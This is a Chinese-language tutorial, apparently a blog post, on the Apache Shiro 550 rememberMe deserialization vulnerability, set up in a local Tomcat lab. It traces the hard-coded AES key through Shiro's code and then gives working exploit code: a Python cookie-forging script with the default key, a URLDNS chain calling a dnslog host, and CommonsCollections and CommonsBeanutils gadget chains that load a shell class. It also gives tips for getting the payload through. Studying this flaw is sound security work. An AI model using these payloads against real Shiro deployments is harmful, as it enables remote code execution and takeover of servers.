前言

shiro550漏洞的根本原因是因为使用固定的key进行加密

环境搭建

jdk8u65(我们当时调cc链的时候已经准备好了)

Tomcat8

https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.81/bin/

img

下载好之后解压缩,然后进入bin点击startup.bat,如果一闪而过,那就用在命令行中去运行它,看看缺什么环境变量(一般是)然后添加这个环境变量就行了。

img

最后运行在本地的8080端口

img

shiro1.2.4


漏洞影响的版本:shiro<=1.2.4

靶场环境搭建

  1. 我们先下载p神的项目

https://github.com/phith0n/JavaThings/tree/master/shirodemo

  1. 使用idea打开项目

img

在这里添加我们刚刚下载好的tomcat

  1. 在进入项目结构中添加工件

img

  1. 最后设置运行与调试

img


点击login.jsp运行,配置好路由是这个界面

img

至此环境搭配完成

shiro550分析

由于 Shiro 使用的 RememberMe 功能通过 AES 加密的 Cookie 存在默认密钥,攻击者可以利用这个漏洞构造恶意的序列化数据,执行远程代码,完全控制服务器。

漏洞原理

这里bp抓包的问题可以使用自己的ipv4地址访问(记得改端口),如果不想使用的话就打开自己的内置浏览器来抓包。然后想要观察到set-cookie的rememberMe记得要输入对正确的账号与密码,默认是root和secret,一般出现rememberMe=deleteMe;即含有此漏洞。

img

img

在接下来的请求中Cookie会带有rememberMe字段;那么就可以使用这个字段进行反序列化,从而getshell。

漏洞分析

我们现在全局中找到shiro包中的敏感的类,我们这里找到了CookieRememberMeManager这个类,然后看到了getRememberedSerializedIdentity方法

img

1
2
3
4
!WebUtils.isHttp(subjectContext) //判断是否是http请求
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null //判断cookie中是否有deleteme
base64 = ensurePadding(base64); //判断cookie是否符合base64编码长度
byte[] decoded = Base64.decode(base64); //对base64进行编码,最后返回

我们向上找看谁调用了它

img

AbstractRememberMeManager类里的getRememberPrincipals方法调用了getRememberedPrincipals方法,

principalCollection表示一个身份信息集合的一个类,principals的初始值是0

然后调用getRememberedSerializedIdentity得到cookie的字节流,最后在调用convertBytesToPrincipals方法,这个方法做的事情如下

img

一个进行解密,一个进行反序列化成一个对象。

进入解密方法看一下喽

img

这里有一个对key的获取,我们应该会用到可以分析一下

img

这里返回的key是从setDecryptionCipherKey里得到的我们向上找看谁调用了setDecryptionCipherKey

img

img

在向上找一层

img

这里我们看到了一个数

img

这个key是一个常量。这一整个分析我们可以看到这个cookie使用这个key进行的aes加密


接下来我们要分析这个反序列化过程

img

进入到这里,在进一步会发现是一个接口,查看实现类,我们会发现对readobject的调用,那就很舒服了。


接下来我们调式分析一整个加密过程

把断点打到这里,然后bp发送数据包,开始调试

img

进入rememberIdentity

img

保存用户名

img

img

这里我们回到rememberIdentity方法,然后跟进rememberIdentity

img

跟进convertPrincipalsToBytes方法

这里我们能看到序列化与加密手法

img

img

这里和之前的解密差不多了

img

还是会找到这个密钥

img

通过aes加密后,这里会进行base64编码

至此cookie就加密好了,我们只需要按照流程伪造cookie,传入后会自动解密,反序列化,然后触发readobject,这时如果我们构造的恶意数据,对readobject进行了重写,就造成了漏洞的存在。

漏洞利用

脚本直接搬大佬的了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*-* coding:utf-8
# @Time : 2022/7/13 17:36
# @Author : Drunkbaby
# @FileName: poc.py
# @Software: VSCode
# @Blog :https://drun1baby.github.io/

from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

URLDNS链是之前写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>();
URL url = new URL("http://487zx4.dnslog.cn");
Class c = url.getClass();

Field f = c.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1);
hashmap.put(url,1);
f.set(url,-1);
serilize(hashmap);


}
public static void serilize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser2.bin"));
objectOutputStream.writeObject(object);
}
public static Object deserilize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}

不要反序列化,用序列化得到的ser.bin 然后发包的时候把JSESSIONID去掉,不去掉的话会不成功

img

我们来试一下cc链,主要注意点就是不要有数组,要不然打不通

img

感觉会是这里的原因(还要多学一学)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc11 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "cc2");
byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class"));
byte[][] b1 = {b};
Field b2 = aClass.getDeclaredField("_bytecodes");
b2.setAccessible(true);
b2.set(templates, b1);

Field f = aClass.getDeclaredField("_tfactory");
f.setAccessible(true);
f.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);


HashMap<Object, Object> hashMap1 = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "eee");
lazyMap.remove(templates);


Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, invokerTransformer);
serialize(hashMap2);
// unserialize("ser.bin");
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}


}

img

在接下来是cb链子的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.ws.spi.Invoker;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {

public static void main(String[] args) throws Exception {



TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class"));
byte[][] b1 = {b};

Class aClass = templates.getClass();
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, b1);

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.getOutputProperties();

// PropertyUtils propertyUtils = new PropertyUtils();
// propertyUtils.getProperty(templates,"outputProperties");

BeanComparator beanComparator = new BeanComparator();

// beanComparator.compare(templates,templates);

PriorityQueue priorityQueue = new PriorityQueue(beanComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class aClass1 = beanComparator.getClass();
Field property = aClass1.getDeclaredField("property");
property.setAccessible(true);
property.set(beanComparator,"outputProperties");

Class aClass2 = priorityQueue.getClass();
// Field priority = aClass2.getDeclaredField("comparator");
// priority.setAccessible(true);
// priority.set(priorityQueue,beanComparator);

Field queueField = aClass2.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(priorityQueue);

queueArray[0] = templates;
queueArray[1] = templates;



serialize(priorityQueue);
//unserialize("ser.bin");


}
public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}

img

至此就结束了

参考

https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/#0x05-%E6%BC%8F%E6%B4%9E%E6%8E%A2%E6%B5%8B

https://www.bilibili.com/video/BV1iF411b7bD/?spm_id_from=0.0.header_right.fav_list.click&vd_source=a4eba559e280bf2f1aec770f740d0645